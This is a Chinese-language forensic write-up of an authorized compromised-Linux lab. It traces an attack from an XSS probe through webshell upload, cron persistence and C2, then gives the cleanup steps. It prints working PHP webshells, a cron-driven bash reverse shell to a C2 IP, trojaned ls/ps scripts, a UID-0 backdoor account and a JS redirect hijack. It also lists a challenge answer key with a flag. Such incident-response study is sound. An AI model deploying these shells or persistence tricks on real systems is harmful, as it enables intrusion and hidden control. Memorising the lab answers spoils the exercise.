被入侵的 Linux 服务器排查实录从一条 XSS 到 10 个问题我是怎么用 AI 做时间线的这是一篇 WP不是内部任务报告。任务报告负责“证据齐全、结论可审计”WP 还要把过程讲清楚让读者能跟着时间线复盘。目标是一台授权靶机。本文不公开登录凭据只保留必要的攻击载荷、路径和 IOC。先说结论真正危险的不是 webshell 本身很多人看到/Uploads/6127418cad73c.php这种一句话木马会立刻开始删文件。但这次排查真正有价值的发现是第一枪不是 SQL 注入而是留言接口的 XSS 弹窗测试真正让攻击者进场的是后台上传 webshellwebshell 只是入口cron C2 篡改命令才是它反复复活的原因清理时如果先删马、后断链cron 一分钟就能把后门拉回来。图 1从入口、应用层、执行、持久化到 C2 外传的完整数据流。一、现场RDP 不通SSH 入场第一反应是看端口结果有点意外22/tcp open ssh 80/tcp open http 32768/tcp open ? 3389/tcp closedRDP 3389 没有开32768 也不是 RDP。所以“远程桌面全程不抢主桌面焦点”的要求在这台机器上没法执行直接改用 SSH 进入。系统指纹Ubuntu 14.04.5 LTS nginx 1.4.6 PHP 5.5.9 MySQL 5.5.62老版本组合后面出现的 ThinkPHP、弱口令、老 MySQLINTO OUTFILE都不意外。图 2攻击面与后门位置。外网入口、Uploads、MySQL、cron、后门进程和 C2 的关系。二、反转第一枪不是 SQL 注入在access.log里搜索攻击者 IP最显眼的是这两条/sale/goods?id57 and 11 /sale/goods?id57 and 12这两条太像 SQLi我第一眼也判断成了“SQL 注入”。但继续往前翻真正更早的载荷是POST /sale/api?typereply HTTP/1.1 Content-Type: application/x-www-form-urlencoded goodid57contentscriptalert(1)/script时间2021-08-26 15:07:18响应200 / 90这是商品留言接口的XSS 弹窗测试。没有窃取 cookie也没有持久化利用属于“首次攻击、非有效攻击”。SQLi 等值探测发生在 15:07:28/32晚于 XSS而且页面大小没有变化。这里我吃过一次亏先看到熟悉的 payload就锚定了答案。后来才把完整日志按时间线重排确认首次攻击是 XSS而不是 SQL 注入。三、AI 辅助把 12520 行日志压成一条时间线这次排查里AI 最有用的是做“日志归一化”不是替我做判断。我让脚本完成三件事从access.log中提取攻击者 IP 的全部请求保留 method、URI、状态码、响应大小和 POST body按时间排序标出第一条恶意载荷。然后再由人复核哪个请求是探测哪个是有效利用哪个响应只是 200哪个响应真的改变了数据哪个文件是攻击者上传的哪个是系统正常文件。图 32021 年入侵证据与 2026-10-31 授权处置窗口。AI 负责快人负责准。如果只让 AI 输出一个“SQL 注入”的结论而不看请求体就会漏掉前面的 XSS。四、两个 webshell 和一个免杀马第一个 webshell带密码的一句话?php eval($_POST[QjsvWsp6L84Vl9dRTTytVyn5xNr1]); ?路径/var/www/html/public/Uploads/6127418cad73c.php密码QjsvWsp6L84Vl9dRTTytVyn5xNr1第二个 webshell直接调用 system?php $a _POST;array_map(implode(,[s,y,s,t,e,m]), $$a);?路径/var/www/html/public/Uploads/goods/hack-aman-01234.php免杀马被ls命令自动生成真正带 flag 的是这个文件?php $aa_GET;array_map(implode(,[a,s,s,e,r,t]),$$aa); //flag{5t945bbwxokj87f1ucjb2vc7zdnf8ix3}?路径/var/www/html/public/static/img/1.php它是被篡改的/bin/ls在每次执行时重新写出来的所以清理顺序必须是先恢复 ls → 再删 1.php顺序反了删完还会再出现。图 4XSS 探测、后台上传、webshell、cron 持久化、C2 与清理时序。五、后门链C2 藏在1.sh里在runtime/cache下发现#!/bin/bash bash -i /dev/tcp/49.232.241.253/8888 01www-data的 crontab 每分钟执行*/1 * * * * /var/www/html/runtime/cache/1.sh /dev/null 21所以后门 C2 是49.232.241.253:8888另外还有2.sh写计划任务、dirty.cDirty COW 利用源码以及jnt1q4xll、[kthreaddi]这类隐藏进程和/dev/vfio/vlpiwz伪装路径。六、被篡改的ls和psls调用ls2顺手写免杀马#bin/bash oldifs$IFS IFS$\n result$(ls2 $1 $2 $3) for v in $result; do echo -e $v\t; done IFS$oldifs echo ?php \$aa_GET;array_map(implode(,[a,s,s,e,r,t]),\$\$aa); //flag{5t945bbwxokj87f1ucjb2vc7zdnf8ix3}? /var/www/html/public/static/img/1.php恢复cp -f /bin/ls2 /bin/ls rm -f /var/www/html/public/static/img/1.phpps过滤threadd隐藏后门result$(ps_ $1 $2 $3 | grep -v threadd)恢复cp -f /bin/ps_ /bin/ps图 5从探测、上传、持久化、发现、清除到复验的生命周期。七、MySQL、账号和 JS 劫持MySQL getshellWeb 配置直接用 root/弱口令而且secure_file_priv 空 local_infile ON root 账号拥有 FILE 权限所以 SQL 注入后可以INTO OUTFILE写文件。/var/www/html/11.txt就是产物。修复secure-file-priv /var/lib/mysql-fileslocal_infile 0回收所有 root 账号FILE新建aman_app只给业务库增删改查Web 改用aman_app删除11.txt验证secure_file_priv /var/lib/mysql-files/ local_infile OFF root File_priv N Web 200黑客账号/etc/passwd中多了一个 UID 为 0 的账号aman:x:1000:0::/home/aman:处理userdel aman groupdel amanJS 劫持application/home/view/public/js.html被注入sojson.v4混淆脚本还原后核心逻辑window.location.href https://www.194nb.com;劫持域名https://www.194nb.com删除混淆script块并清理runtime/temp中含劫持代码的编译模板。八、10 个问题答案速查问题答案JS 劫持域名https://www.194nb.com首次 webshell 密码QjsvWsp6L84Vl9dRTTytVyn5xNr1首次攻击非有效方式XSS后门服务器 IP/端口49.232.241.253:8888第二个 webshell 内 flagflag{5t945bbwxokj87f1ucjb2vc7zdnf8ix3}修复 MySQL getshellsecure_file_priv 回收FILE 最小权限账号黑客添加的账号aman已删除篡改命令 免杀马/bin/ls恢复删除1.php篡改命令 2/bin/ps恢复修复 JS 劫持删除sojson混淆块提交提醒XSS先按大写提交如果平台区分大小写且被拒再试xss不要因为大小写失败改成一个错误的答案类型。九、踩坑复盘这次最值得记的不是工具而是三个细节不要看到 SQLi 就锚定答案。先按时间线把所有请求和 POST body 过一遍再判断“首次攻击”。答案可能有大小写问题。XSS先大写失败再试小写不要因此改提交SQL注入。清理顺序很重要。先备份 → 终止进程 → 清 cron/loader → 恢复命令 → 删生成物 → 修 MySQL/JS → 复验。本文仅用于授权靶场和应急响应学习请勿对未授权目标进行扫描或利用。十、图形索引正文内嵌的图 1–5 依次为本次排查的架构、数据流、时间线、时序与生命周期图静态截图已随章节插入图说明图 1 攻击面架构外网入口、Web/MySQL、Uploads、cron、后门、C2 的相对位置图 2 攻击数据流入口 → 应用 → 执行 → 持久化 → C2 的完整链路图 3 入侵/处置时间线2021 入侵证据与 2026 响应窗口的时间对照图 4 攻击与处置时序XSS 探测、上传、webshell、C2 与清理的交互顺序图 5 Webshell 生命周期探测、上传、持久化、发现、清除、复验六阶段图形仅作辅助说明不替代正文里的原始命令、日志与文件证据。